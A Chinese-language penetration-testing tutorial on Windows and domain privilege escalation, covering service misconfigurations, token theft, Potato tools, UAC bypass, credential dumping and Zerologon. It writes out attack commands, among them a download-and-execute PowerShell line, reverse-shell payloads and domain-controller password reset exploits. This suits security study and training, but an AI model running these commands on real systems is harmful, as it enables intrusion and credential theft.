内网渗透体系建设——权限提升
权限提升
系统内核漏洞提权
查找系统潜在漏洞
手动寻找可用漏洞
1
systeminfo
执行命令后可以根据系统版本和系统的补丁程序,将两者结合通过相关辅助网站找到没打补丁的可能存在的系统漏洞,如
MS18-8129与KB4131188对应、CVE-2020-0787与KB4540673对应
借助WES-NG查找可用漏洞
Windows Exploit Suggester
(WEG)项目于2014年发布, 项目根据操作系统版本结合systeminfo输出的信息, 结合Microsoft安全公告数据Excel文件
找到可能存在且未打补丁的系统漏洞, 该工具在Windows XP/Vista
上运行良好, 但是工具自2017第一季度之后就不再更新(意味着只能匹配2017第一季度之前的系统漏洞)Windows Exploit Suggester-Next generation
(WEG-NG)项目就是基于WEG创建的新一代系统提权辅助工具, 项目当前仍在维护当中1
2
3python3 wes.py --update #更新漏洞数据库tyae
python3 wes.py sysinfo.txt --impact "Elevation of Privilege" #--impact指定漏洞类型为提权漏洞
python3 wes.py sysinfo.txt --impact "Elevation of Privilege" --exploits-only #--exploits-only过滤查找已公开EXP的提权漏洞在Win10中执行命令并没有找到任何的漏洞结果
在WIN8中执行就有十几个结果了
然后就是根据返回结果的输出逐个找POC进行测试的过程了
系统服务提权
通常情况下,用户安装的一些应用会在本地注册一些服务,并且大多数是system权限启动,应用软件在注册服务时, 会在下面路径中创建响应的注册表项:
1 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services |
下图为gupdate服务的注册表信息,其中的ImagePath键指向该系统服务所启动的二进制程序
Windows系统服务在操作系统启动时运行,并在后台调用其相应的二进制文件,如图中的GoogleUpdate.exe。由于大多数系统服务是以系统权限(SYSTEM)启动的,如果让服务启动时执行其他程序,该程序就可以随着服务的启动获得系统权限,这是利
用系统服务提权的主要思路。系统服务类提权从主观上可以归咎于用户的配置疏忽或操作错误,如不安全的服务权限、服务注册表权限脆弱、服务路径权限可控、未引用的服务路径等
注册表下面有很多个表项,每条表项分别对应一个服务,默认情况下系统就有上百条系统服务表项数据,例如查询一下本地安装Chrome的服务表项数据:
1 | reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\gupdate |
不安全的服务权限
ACL定义了安全对象的访问控制策略,用于规定哪些主体对其拥有访问权限和拥有什么样的权限。Windows的系统服务正是通过ACL来指定用户对其拥有的权限
假设目标主机的用户在配置服务时存在疏忽,使得低权限用户对高权限下运行的系统服务拥有更改服务配置的权限(SERVICE_QUERY_CONFIG或SERVICE_ALLACCESS),就可以通过这个低权限用户直接修改服务启动时的二进制文件路径
在实战中
AccessChk
工具可以枚举目标主机上存在权限缺陷的系统服务。它是微软官方提供的管理工具,常用来枚举或查看系统中指定用户、组对特定资源(包括但不限于文件、文件夹、注册表、全局对象和系统服务等)的访问权限
低权限用户可以检查”Authenticated Users”组和”INTERACTIVE”组对系统服务的权限。前者为经过身份验证的用户,包含系统中所有使用用户名、密码登录并通过身份验证的账户,但不包括来宾账户;后者为交互式用户组,包含系统中所有直接登录到计算机进行操作的用户。默认情况下,这两个组为计算机本地”Users组”的成员
1 | accesschk64.exe /accepteula -uwcqv "Authenticated Users" * # 查询Authenticated Users组可修改配置的服务 |
“Authenticated Users”组对InsproSvc
服务具有SERVICE QUERY CONFIG权限。此时执行以下命令,将该服务启动时执行的二进制文件替换为预先上传的攻击载荷。当服务重启时,载荷会随着服务的启动继承系统权限
1 | #sc config InsproSvc binpath= "cmd.exe /k C:\Users\Public\reverse_tcp.exe" |
如果当前用户对该服务拥有SERVICE STOP和SERVICE START权限,则用户拥有对服务的重启权限,可以直接重启服务
1 | sc stop <Service Name> |
如果没有权限,对于启动类型为”自动”的服务,就可以尝试通过重新启动计算机的方法来实现服务重启
服务注册表脆弱项
这里和上面其实原理是一样的, 都是ACL配置出错, 这里主要的点就是低权限用户对服务的注册表有写入权限,因此可以通过修改注册表来修改服务配置
- 不安全的服务提权是ACL权限配置错误导致服务配置修改权限分配到了低权限用户手中
- 服务注册表脆弱项是ACL权限配置错误导致注册表项修改权限分配到了低权限用户手中
通过AccessChk在目标主机枚举”Authenticated Users”用户组具有写入权限的服务注册表
1 | accesschk64.exe /accepteula -uvwqk "Authenticated Users" HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services |
“Authenticated Users”用户组对RegSvc服务的注册表拥有完全控制权限,将该服务注册表中ImagePath键指向预先上传的攻击载荷
1 | reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RegSvc /v ImagePath /t |
检查当前用户对该服务是否拥有重启权限
1 | accesschk.exe /accepteula -ucqv "Authenticated Users" RegSvc |
从执行结果可知,当前用户有权限重启RegSvc服务
服务路径权限可控
目标主机上存在错误配置或操作,使得一个低权限用户对此服务调用的二进制文件或其所在的目录具有写权限,这时候低权限用户就可以
- 直接将二进制文件替换为恶意程序让系统以system权限执行完成提权
- 在二进制文件目录下写入或者替换动态链接库文件进行
dll劫持
,以system身份加载代码
用Accesschk查看InsexeSvc这个服务的二进制文件所在目录是否有写入权限
1 | accesschk.exe /accepteula -quv "C:\Program Files\Insecure Executables\" |
在执行结果中可以看到,”INTERACTIVE”组对该文件夹具有完全控制权限,该组包含所有能够登录到系统的成员。此时可以将InsexeSvc服务的二进制文件替换成一个同名的攻击载荷,并随着服务的重启继承系统权限
未引用的服务路径
未引用的服务路径利用了Windows文件路径解析的特性。当服务启动所执行的二进制文件的路径中包含空格且未有效包含在引号中时,就会导致该漏洞
对于路径中的每个空格,Windows会按照从左到右的顺序依次尝试寻找并执行与空格前的名字相匹配的程序 例如路径 C:\Program Files\Sub Dir\Program Name..exe,系统依次寻找并执行以下程序:
1 | C:\Program.exe,C:\Program Files\Sub.exe |
当系统在依次尝试服务路径中的空格时,会以当前服务所拥有的权限进行。因此可以将一个经过特殊命名的攻击载荷上传到受影响的目录中,当重启服务时,攻击载荷将随着服务的启动继承系统权限。前提是当前用户对受影响的目录具有写入权限
枚举目标聚标主机上所有该漏洞系统服务
1 | wmic service get DisplayName,PathName,StartMode|findstr /i /v "C:\Windows\\" | findstr /i /v """ |
由执行结果可知,UnquotedSvc
这个服务的PathName
为 C:Program Files\UnquotedPath\Sub Dir\UnquotedSvc.exe
,其中存在空格且没用使用引号进行包裹
用Accesschk检查受影响的目录,发现当前用户对受影响的目录拥有完全控制权限
1 | accesschk.exe /accepteula -quv "Authenticated Users" "C:\Program Files\Unquoted Path\" |
此时可以向C:Program Files\Unquoted Path目录上传一个名为”Sub.exe”的攻击载荷。服务重启后,系统会按照前文中说过的顺序依次检查服务路径,当检查到C:ProgramFiles\Unquoted Path\Sub.exe
时,攻击载荷将以SYSTEM权限执行
为了避免该漏洞的影响,在使用sc创建系统服务时,应有效地对存在空格的服务路径使用引号进行包裹,类似如下:
1 | sc create TestSvc binpath="\"C:\Program Files\Sub Dir\Program Name.exe\"" |
PowerUp
PowerUP
是一个PS脚本,上面几种有关服务的提权方法都集成在里面
1 | powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://192.168.92.130:80/PowerUp.ps1');Invoke-AllChecks" |
MSI安装策略提权
MSI全称为Microsoft Installer,是微软格式的应用程序安装包,实际上是一个数据库,包含安装和卸载软件时需要使用的大量指令和程序数据
MSI安装策略提权是由于用户在配置MSI安装策略时,启用了“永远以高特权进行安装”(AlwaysInstallElevated
,默认情况下为禁用状态),使得任何权限的用户都可以通过SYSTEM权限安装MSI程序。此时测试人员可以在目标主机上安装一个预先制作的恶意MSI文件,以获得SYSTEM权限
成功利用AlwaysInstallElevated
提权的关键是用户在配置MSI安装策略时启用了“永远以高特权进行安装”。该选项启用后,系统会自动在注册表的以下两个位置创建键值”1”
1 | reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated |
确定目标系统存在该漏洞后,使用MetaSploit
自动生成MSI
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.147 LPORT=4444 -f msi -o |
在现有的Meterpreter会话中将创建的MSI文件上传到目标计算机,通过msiexec
运行MSI安装文件
1 | msiexec /quiet /qn /i reverse_tcp.msi |
访问令牌操纵
访问令牌是描述进程或线程安全上下文的对象,包含与进程或线程关联的用户账户的标识和特权等信息。系统使用访问令牌来控制用户可以访问的安全对象,并限制用户执行相关系统操作的能力。当用户登录时,系统将对用户进行身份验证,如果验证通过,就会为用户创建一个访问令牌,包括登录过程返回的SD以及由本地安全策略分配给用户和用户所属安全组的特权列表。此后代表该用户执行的每个进程都有此访问令牌的副本,每当线程或进程与安全对象交互或尝试执行需要特权的系统任务,系统都会使用此访问令牌标识并确定关联的用户
Windows中的令牌可以分为主令牌(Primary Token)和模拟令牌(
ImpersonationToken
)。主令牌与进程相关联,是由Windows内核创建并分配给进程的默认访问令牌,每个进程都有一个主令牌,描述了与当前进程关联的用户账户的安全上下文。默认情况下,当进程的线程与安全对象交互时,系统将使用主令牌。此外,线程可以模拟客户端账户。模拟是指线程在安全上下文中执行的能力,并且该上下文不同于拥有该线程的进程的上下文。当线程模拟客户端时,模拟线程将同时具有主访问令牌和模拟令牌
通常,通过操纵访问令牌,使正在运行的进程看起来是其他进程的子进程或属于其他用户所启动的进程。这常常使用内置的Windows API 从指定的进程中复制访问令牌,并将得到的访问令牌用于现有进程或生成新进程,以达到权限提升并绕过访问控制的目的。这个过程被称为令牌窃取
令牌窃取只能在特权用户上下文中才能完成,因为通过令牌创建进程使用的
CreateProcessWithTokenW
和CreateProcessAsUserA
两个WindowsAPI
分别要求用户必须拥有SeImpersonatePrivilege
和SeAssignPrimaryTokenPrivilege/SeIncreaseQuotaPrivilege
特权,而拥有这两个特权的用户一般为系统管理员账户,
网络服务账户和系统服务账户(如IIS,MSSQL等)
常规令牌窃取操作
常规的令牌操纵往往用来将管理员权限提升为SYSTEM
、TrustedInstaller
等更高系统权限, 实战中如果本地管理员账户因为某些组策略设置无法获取某些特权可以使用令牌窃取假冒NT AUTHROITY\SYSTEM
的令牌, 以获取更高的系统权限。此外令牌窃取还常被用于降权或用户切换操作
使用
incognito.exe
窃取令牌将incognito.exe上传到目标主机,列举当前主机上的所有访问令牌
1
incognito.exe list_tokens -u #查看哪些用户的token可以被获取
如图所示,”Delegation Tokens Available”条目中列举出了NT AUTHORITY\SYSTEM账户的令牌
1 | incognito.exe execute -c "NT AUTHORITY\SYSTEM" whoami #窃取NT AUTHORITY\SYSTEM账户的访问令牌并创建进程 |
1 | incognito.exe execute -c "HACK-MY\Marcus" cmd #窃取域用户Marcus的访问令牌,实现从本地管理员账户到域用户的切换 |
2.利用Metasploite
窃取令牌
1 | load incognito #导入incognito令牌窃取模块 |
3.通过令牌获取TrustedInstaller
权限
通常认为SYSTEM权限为Windows系统中的最高权限。但是即便获取了SYSTEM权限,也不能修改Windows系统文件。例如 C:Windows\servicing
目录拥有SYSTEM权限,但也无法向该目录中写入文件
使用icacls
命令查看该目录的权限,发现 NT SERVICE\TrustedInstaller
账户对其具有完全控制权限
从Windows Vista开始系统内置了一个
TrustedInstaller
安全主体,拥有修改系统文件权限,专用于对系统进行维护、更新等操作。TrustedInstaller
以一个账户组的形式出现,即NT SERVICE\TrustedInstaller
通常情况下,测试人员可以通过令牌窃取的方式获取系统TrustedInstaller权限
。由于TrustedInstaller
本身也是一个服务,当启动该服务时,会运行TrustedInstaller.exe程序,该程序的在系统上的路径为 "C:\Windows\servicing\TrustedInstaller.exe"
,其拥有者为NT SERVICE\TrustedInstaller
。测试人员可以窃取TrustedInstaller.exe进程的令牌,以提升至TrustedInstaller
权限
首先,执行以下命令,在目标系统上启动TrustedInstaller服务
1 | sc start TrustedInstaller |
然后,记录TrustedInstaller.exe进程的PID并执行以下命令:
1 | steal_token <PID> |
从TrustedInstaller.exe进程中窃取令牌
Potato家族提权
前面讲过,使用令牌窃取的前提是用户拥有
SeAssignPrimaryTokenPrivilege
或SeImpersonatePrivilege
特权。这两个特权非常强大,允许用户在另一个用户的安全上下文中运行代码甚至创建新进程。Potato家族正是通过滥用Windows服务账户拥有的这两个特权,将已获取的NT AUTHORITY\SYSTEM账户的访问令牌传入CreateProcess WithTokenW
或CreateProcessAsUserA
函数进行调用,在NT AUTHORITY\SYSTEM账户的上下文中创建新进程,以提升至SYSTEM权限
在实战场景中,若成功拿到了IIS等服务的WebShell
或者通过MSSQL服务的xp_cmdshell
成功执行了系统命令,此时获取的服务账户拥有SeImpersonatePrivilege
和SeAssignPrimary TokenPrivilege
特权,就可以通过Potato家族提升至SYSTEM权限
1.Rotten Potato烂土豆
Rotten Potato提权的实现机制相当复杂,拦截NTLM身份认证请求,并伪造NT AUTHORITY\SYSTEM账户的访问令牌,大致可以分为以下三个步骤
1.通过
CoGetInstanceFromIStorage
API,将一个COM对象(BITS)加载到本地可控的端口(TCP 6666),并诱骗BITS对象以NT AUTHORITY\SYSTEM 账户的身份向该端口发起NTLM认证
2.借助本地RPC 135端口,对BITS对象的认证过程执行中间人攻击(NTLM Relay),同时调用相关API为NT AUTHORITYISYSTEM账户在本地生成一个访问令牌
3.通过NT AUTHORITYISYSTEM账户的令牌创建新进程,以获取SYSTEM权限
以Microsoft IIS服务进行演示,假设已获取IIS服务账户的WebShell,执行“whoami /priv”命令,可以看到当前账户拥有SeAssignPrimaryTokenPrivilege和SeImpersonatePrivilege特权
通过WebShell上线MetaSploit,此时加载incognito模块还不能列举出高权限用户的令牌
向目标主机上传Rotten Potato的利用程序(实战中需注意目录权限),并通过以下命令在Meterpreter中运行
1 | execute -Hc -f rottenpotato.exe |
运行RottenPotato.exe后,再次执行”list token-u”命令,就能成功列举出NT AUTHORITYISYSTEM账户的令牌
然后使用impersonate_token伪造该令牌,即可获取SYSTEM权限
Juicy Potato与Rotten Potato的原理几乎完全相同,只是在后者的基础上做了扩展,以便更灵活利用Rotten Potato。Juicy Potato不再像Rotten Potato那样依赖于一个现有的Meterpreter,并且可以自定义COM对象加载的端口,以及根据系统版本更换可用的COM对象
上传
Juicy Potato
的利用程序根据系统操作版本选择一个可用的COM对象
这个步骤就是烂土豆的拓展, 在
RottenPotato
中默认选择的是BITS对象, 这个可用对象的CLSID根据脚本获得, 不同的系统有哪些SLID可以参考CLSID执行
Juicy Potato
程序加载可用的COM对象获取SYSTEM权限并运行指定payload程序反弹shell
1 | JuicyPotato.exe -t t -p C:\inetpub\wwwroot\reverse_tcp.exe -l 6666 -n 135 -c |
以上两种提权方法仅适用于Windows 10 version 1809和Windows Server 2019之前版本的系统。在之后的版本中,微软通过检查RPC绑定字符串中指定的端口来修复了这个问题,修复后的系统无法通过原来的方法实现中间人攻击
3.PrintSpoofer
(Pipe Potato)
PrintSpoofer
主要利用了打印机组件路径检查中存在的一个Bug, 使得高权限服务能连接到测试人员创建的命令管道, 以获取的高权限账户的令牌来创建新进程
1 | PrintSpoofer64.exe -i -c whoami #whoami查看提权是否成功 |
4.Sweet Potato
集成了上述几种提权方式用于获取SYSTEM权限
- Rotten Potato
- Juicy Potato
RogueWinRm
PrintSpoofer
Bypass UAC
用户账户控制(User Account Control, UAC)是Windows操作系统采用的一种控制机制,可以阻止自动安装未经授权的应用并防止意外更改系统设置,有助于防止恶意软件损坏计算机。用户账户控制使应用程序和任务始终在非管理员账户的安全上下文中运行,除非管理员专门授予管理员级别的权限。开启用户账户控制后,每个需要使用管理员访问令牌的应用都必须提示征得用户同意
UAC限制所有用户包括非RID 500的管理员用户使用标准用户登录到他们的计算机,并在标准用户的安全性上下文中访问资源和运行应用。这里所说的非RID 500的用户是指除Administrator以外、位于管理员组中的其他管理员用户。当非RD500的管理员用户登录后,系统会为其创建两个单独的访问令牌:标准用户访问令牌和管理员访问令牌。标准用户访问令牌包含与管理员访问令牌相同的用户特定信息,只是移除了Windows管理特权和相关SID。标准用户访问令牌用于启动不执行管理任务的应用程序(标准用户应用程序)。当管理员需要执行高权限管理任务时,Windows会自动提示用户予以批准,同意后则允许使用管理员访问令牌
在实战中,如果测试人员可以绕过Windows UAC机制,使非RID 500的管理员账户可以不需用户批准直接使用管理员访问令牌,从而获得全部的管理权限。注意,UAC实际上是一种权限保护机制,而Bypass UAC仅仅是绕过了这一保护机制,本质上并不能将其看作一种真正的提权
- UAC白名单
微软在用户账户控制中为一些系统程序设置了白名单机制,所有白名单中的程序将不再询问,以静默方式自动提升到管理员权限运行,如slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe、rundll332.exe、explorer.exe等。测试人员可以通过对这些白名单程序进行DLL劫持、DLL注入或者注册表劫持等,绕过UAC并提升权限
在寻找白名单程序时,可以使用微软官方提供的工具Sigcheck
和Strings
。白名单程序拥有一个共同的特性,就是Manifest数据中autoElevate
属性的值为True。Sigcheck
可以检测程序是否具有autoElevate
属性,以ComputerDefaults.exe为例,该程序位于 C:\Windows\System32 目录下
1 | sigcheck.exe /accepteula -m C:\Windows\System32\ComputerDefaults.exe |
Strings可以找出所有具有autoElevate
属性的程序
1 | strings.exe /accepteula -s C:\Windows\System32\*.exe | findstr /i "autoElevate" |
以ComputerDefaults.exe为例进行分析,通过该程序绕过UAC提权。ComputerDefaults.exe运行后会打开Windows的默认应用
直接到System32目录下运行ComputerDefaults.exe程序,打开”默认应用”界面,并未出现UAC弹窗
使用进程监控器 Process Monitor 监控ComputerDefaults.exe进程的所有操作行为,(主要是监控注册表和文件的操作)。可以发现,ComputerDefaults.exe进程会先查询注册表 HKCU\Software\Classes\ms-settings\shell\open\command
中的数据,发现该路径不存在后,继续查询注册表 HKCR\ms-settings\Shell\Open\Command \DelegateExecute
中的数据并读取
通常情况下,以”shell\open\command”命名的注册表中存储的可能是可执行文件的路径,程序会读取其中的键值并运行相应的可执行文件。由于ComputerDefaults.exe是UAC白名单中的程序,运行时默认提升了权限,因此在运行该键值中的可执行文件时默认为管理员权限
1 | reg add "HKCU\Software\classes\ms-settings\shell\open\command" /d |
在注册表HKCU\Software\Classes\ms-settings
\shell\open\command(如果没有就创建)中将要执行的攻击载荷路径分别写入”默认”值和”DelegateExecute
“值(这里写入的是cmd.exe的路径)。标准用户对该注册表键值有修改权限,并且对HKCU的修改会自动同步到HKCR
再次执行Computer Defaults.exe时,恶意程序就会随着ComputerDefaults.exe的启动默认通过UAC控制并以提升的权限运行。如图所示成功获取一个关闭了UAC的命令行窗口
上线MetaSploit
,执行getsystem
命令,可直接提升至SYSTEM权限
- DLL劫持
Windows系统中的很多应用程序并不是一个完整的可执行文件,被分割成一些相对独立的动态链接库(Dynamic Link Library, DLL)文件,其中包含程序运行所使用的代码和数据。当应用程序启动时,相应的DLL文件就会被加载到程序进程的内存空间。测试人员可以通过一些手段,欺骗合法的、受信任的应用程序加载任意的DLL文件,从而造成DLL劫持
当应用程序加载DLL时,如果没有指定DLL的绝对路径,那么程序会以特定的顺序依次在指定路径下搜索待加载的DLL。在开启安全DLL搜索模式(
SafeDllSearchMode
,Windows XP SP2后默认开启)的情况下,将按以下顺序进行搜索:程序安装目录→系统目录(C:\Windows\System32)→l6位系统目录(C:\Windows\System)→Windows目录(C:Windows)→当前工作目录→PATH环境变量中列出的各目录如果将同名的恶意DLL文件放在合法DLL文件所在路径之前的搜索位置,当应用程序搜索DLL时,就会以恶意DLL代替合法的DLL来加载。这就是经典的DLL预加载劫持情景,利用的前提是拥有对上述目录的写入权限,并且恶意DLL需要与原始DLL拥有相同的导出表函数
基于上述原理,通过劫持UAC白名单程序所加载的DLL文件,测试人员就可以借助白名单程序的自动提升权限来Bypass UAC。注意这些白名单程序所加载的DLL文件几乎都位于系统可信任目录中,而这些目录对标准用户来说通常都是不可写的。因此,要结合模拟可信任目录的内容进行利用
- 模拟可信任目录
当启动的程序请求自动提升权限时,系统会先读取其可执行文件的Manifest信息,解析
autoElevate
属性字段的值。如果该字段存在并且值为True,就会认为这是一个可以自动提升权限的可执行文件。并且系统会检查可执行文件的签名,这意味着无法通过构造Manifest信息或冒充可执行文件名来实现自动权限提升。此外系统会检查可执行文件是否位于系统可信任目录中,如C:\Windows\System32目录。当这三个条件全部通过后,则允许程序自动提升权限,有任意一个条件不通过都会被系统拒绝
注意系统在检查可信任目录时,相关函数会自动去掉可执行文件路径中的空格。如果可执行文件位于”C:\Windows \System32”目录(在”Windows”后有一空格,下文统称”模拟可信任目录”)中,系统在检查时会自动去除路径中的空格,这样就通过了最后一个条件的检查。基于此原理,测试人员根据可信任目录来创建一个包含尾随空格的模拟可信任目录,将一个白名单程序复制到模拟可信任目录中,配合DLL劫持等技术即可成功绕过UAC
想要利用模拟可信任目录进行DLL劫持完成提权, 总结就是以下四步:
- 找到UAC白名单程序
- 创建模拟可信任目录(筛选可写入的目录)
- 将程序目录的文件内容全部复制到模拟可信任目录中(保留
mainFest
中的autoExecute
数据字段和签名不变)这里建议直接跑工具UacInfo64.exe- 将复制过来的某个DLL文件删除, 替换为我们构造好的DLL格式的payload文件
下面以WinSAT.exe程序为例进行演示
1 | md "\\?\C:\Windows " |
创建C:\Windows \System32模拟可信任目录,并将白名单程序WinSAT.exe复制到该目录中
启动模拟可信任目录中的WinSAT.exe,同时使用Process Monitor检测其进程所加载的DLL
可以看到,程序尝试在当前包含空格的目录加载DLL并且都失败了,可以编写一个恶意的DLL文件并将其放入该目录进行DLL劫持,这里选择的是WINMM.dll。注意,构造的恶意DLL需要与原来的DLL具有相同的导出函数。可以使用ExportsToC++
(类似的工具还有AheadLib
等)来获取原DLL文件的导出函数并自动生成C++代码
简单修改生成代码,在DLLMain
入口函数中加入要执行的操作,并通过Visual Studio创建项目,编译生成64位DLL文件
将生成的WINMM.dll放入前面创建的模拟可信任目录,运行WinSAT.exe(模拟可信任目录中)后,即可弹出一个关闭了UAC的命令行窗口
- 相关辅助工具
1.UACME
UACME是一个专用于绕过Windows UAC的项目,目前已包含70多种
BypassUAC
的方法在UACME中。每一个Bypass UAC方法都有一个数字编号,由一个名为Akagi.exe的主程序统一调用https://github.com/Apri1y/UACME 18年的项目, 在README中详细介绍了47种利用方式以及它的可利用起止版本(里面的unfix看看就行, 还是要自己尝试, 毕竟项目比较老了)且有已编译好的exe可直接使用(一落地就会被杀, 倒是里面的工具UacInfo64.exe还挺好用的, 直接列出
CLSID
的对象说明以及可以dll劫持的白名单程序)https://github.com/hfiref0x/UACME 17年的项目,使用的demo编号高达61,但是没有太多编号对应的漏洞介绍
https://github.com/dotfornet/UACME 16年的项目,有23个利用方式,且对每个利用方式都要描述且说了从哪个版本(Fixed)
1 | akagi.exe [key] [param] |
2.Metasploit
在msf
中集成了十几个可用的bypassuac
模块, 直接通过search bypassuac
即可搜索查看
用户凭据操作
- 枚举 Unattended 凭据
无人值守(Unattended)安装允许应用程序在不需要管理员关注下自动安装。无人值守安装的问题是会在系统中残留一些配置文件,其中可能包含本地管理员的用户名和密码,常见的路径如下
1 | C:\sysprep.inf |
测试人员可以全盘搜索上述配置文件,并检索User、Accounts、UserAccounts、LocalAccounts、.Administrator、Password等关键字来获取管理员凭据。MetaSploit
提供了post/windows/gather/enum_unattend
模块,可以从Unattend
配置文件中自动化检索出用户密码
- 获取组策略凭据
微软在Windows Server 2008 中引入了组策略首选项,允许网络管理员对指定计算机和用户配置特定的设置
在新建一个组后, 控制器会在SYYVOL共享目录下生成一个xml文件, 该文件保留了组策略更新后的密码
SYSVOL是在安装活动目录时创建的一个用于存储公共文件服务器副本的共享文件夹, 主要存放登录脚本,组策略数据以及其他域控制器需要的域信息等,并在所有结果身份验证的域用户或者域信任用户范围内共享
在SYSVOL目录中可以找到一个名为Groups.xml
的文件,其中的cpassword
字段保存了经过AES 256加密后的用户密码, 微软在2012年公布了加密秘钥, 这就意味着域内用户都可以读取Groups.xml中的密码并使用公开的秘钥进行解密。且由于通过组策略批量修改的本地管理员密码都是相同的, 这就意味着拿到一台机器的本地管理员密码就拿到了域控账户进而通过域管账户拿下整个域
MetaSploit
框架内置post/windows/gather/credentials/gpp
模块,可以自动化搜索位于SYSVOL共享目录中的XML,并从中解密出用户密码
HiveNightmare
也即Windows提权漏洞(CVE-2021-36934)。由于Windows中多个系统文件的访问控制列表(ACL)过于宽松,使得任何标准用户都可以从系统卷影副本中读取包括SAM、SYSTEM、SECURITY在内的多个系统文件。由于SAM文件是存储用户密码哈希值的安全账户管理器,进而可以获取所有本地用户NTLM Hash值,通过暴力破解或哈希传递等方法就能实现本地权限提升
该漏洞影响Windows 10 Version 1809发布以来的所有Windows版本,包括Windows11,被称为”
HiveNightmare
“。成功利用此漏洞的测试人员可以使用SYSTEM权限运行任意代码
漏洞利用条件: 启用系统保护(默认启动),系统上存在已创建的系统还原点,系统启用本地管理员用户
因此最关键的就是创建系统还原点,那么标准用户可直接从卷影副本中访问和转储SAM、SYSTEM、SECURITY文件
这些文件在系统中的原始路径如下:
1 | C:\Windows\System32\config\SAM |
下面以Windows 10系统为例对该漏洞的利用过程进行简单演示,
以标准用户执行以下命令检查是否存在漏洞:
1 | icacls C:\Windows\System32\config\SAM |
若输出”BUILTIN\Users:(I)(RX)”,则表示该系统易受攻击
将编译好的利用程序HiveNightmare.exe上传到目标主机。直接运行后即可将SAM、SYSTEM、SECURITY转储到当前目录
将三个文件复制到本地,使用Impacket
项目中的secretsdump.py导出SAM文件中的用户哈希值
1 | python3 secretsdump.py -sam SAM-date -system SYSTEM-date -security SECURITY-date LOCAL |
得到用户的哈希值后,测试人员可以对其进行暴力破解,也可以直接使用本地管理员用户进行哈希传递,从而获取目标主机的SYSTEM权限。哈希传递的细节将在内网横向移动的章节中进行介绍
Zerologon
域内提权
Zerologon
(CVE-2020-1472)是Netlogon
远程协议的一个特权漏洞的提升, 可以在不提供任何凭据的情况下通过身份验证, 实现域内提权
漏洞常见的利用方法就是调用
Netlogon
中的RPC函数NetrServerPasswordSet2
来重置域控制器账户的密码。注意这里重置的是DC机器账户密码,该密码由系统随机生成,密码强度是120个字符,并且会定时更新
域内的机器账户以”机器名+$”来命名,它也是一种域用户, 是不允许登录的, 所以不能直接进行远程登录域控制器。但是域控制器的机器账户在默认下拥有DCSync
权限, 因此可以通过DCSync
攻击导出域管理员密码的哈希, 从而获取域控权限
1.重置域控密码
通过cve-2020-1472-exploit.py,将域控制器的密码重置为空
1 | python3 cve-2020-1472-exploit.py DC-1 10.10.10.11 |
使用secretsdump.py以空密码连接上域控,并导出域管理员的哈希值
1 | python3 secretsdump.py hack-my.com/DC-1\$@10.10.10.11 -just-dc-user "hack-my\administrator" -no-pass |
对域控制器执行哈希传递攻击,获取域控的SYSTEM权限
Mimikatz
也内置了该漏洞的利用模块
1 | mimikatz.exe "lsadump:zerologon /target:10.10.10.11 /ntlm /null /account:DC-1$/exploit" exit |
2.恢复域控密码
在攻击结束之后需要及时恢复域控的密码, 否则可能导致域控制器脱域。主要原因是域控
NTDS.dit
中存储的密码和域控本地注册表中存储的密码不一致
首先在域控制器上执行以下命令,导出注册表:
1 | reg save HKLM\SYSTEM system.save |
将导出的注册表复制到本地,使用secretsdump.py导出注册表中的哈希值,箭头所指即重置前机器用户的密码(Hex编码后的)
1 | python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL |
然后通过运行CVE-2020-1472中的 restorepassword.py 恢复域控密码
1 | python3 restorepassword.py hack-my.com/DC-1@DC-1 -target-ip 10.10.10.11 -hexpass hash |
- 也可以直接利用
Mimikatz
进行恢复
1 | lsadump::postzerologon /target:hack-my.com /account:DC-1$ |
Print Spooler提权漏洞
PrintDemon
Print Spooler
是Windows系统, 打印后台处理服务, 用来管理所有本地和网络打印队列, 并控制所有打印工作。该服务在Windows中默认开启
在Windows上添加打印机时需要设置打印机的端口。Windows支持多种类型的打印机端口,如LPT1端口、USB端口、网络端口和文件等。如果将端口设置为文件路径,那么打印机会将数据打印到指定文件。在标准用户权限下,如果端口文件路径指向一个受保护的系统目录,由于没有权限,打印作业就会失败。但是,微软为了应对打印过程中可能出现的各种中断或异常的状况,引入了假脱机打印机制,该机制可以使系统在重启后恢复之前未执行完的打印任务。问题就出现在这里,因为重启后的Print Spooler服务程序直接使用了SYSTEM权限来恢复未执行的打印作业,如果此时打印机的端口为文件路径,将在系统上造成任意文件写入
成功利用该漏洞的用户可以通过写入二进制文件实现系统服务提权,也可以通过写入DLL文件进行DLL劫持
PrintNightmare
PrintNightmare
是广泛影响Windows系统各版本的严重安全漏洞,发生在Windows Print Spooler服务中,有两种变体,一种导致权限提升(CVE-2021-l675),另一种允许远程代码执行(CVE-2021-34527)标准用户可以通过
PrintNightmare
漏洞绕过PfcAddPrinterDriver
的安全验证,并在打印服务器中安装恶意的驱动程序。若当前所控制的用户在域中,则可以连接到域控制器中的Print Spooler服务并在域控制器中安装恶意的驱动程序,进而接管整个域环境
Nopac域内提权
与Kerberos协议的有关
Certifried
域内提权
Active Directory域权限提升漏洞(CVE-2022-26923)。该漏洞是由于对用户属性的不正确获取,允许低权限用户在安装了活动目录证书服务(Active Directory Certificate Services, AD CS) 服务器角色的活动目录环境中将权限提升至域管理员